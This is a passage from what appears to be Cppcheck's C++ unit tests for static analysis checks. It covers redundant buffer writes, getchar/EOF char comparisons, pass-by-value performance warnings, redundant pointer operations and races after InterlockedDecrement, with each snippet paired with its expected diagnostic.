N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n 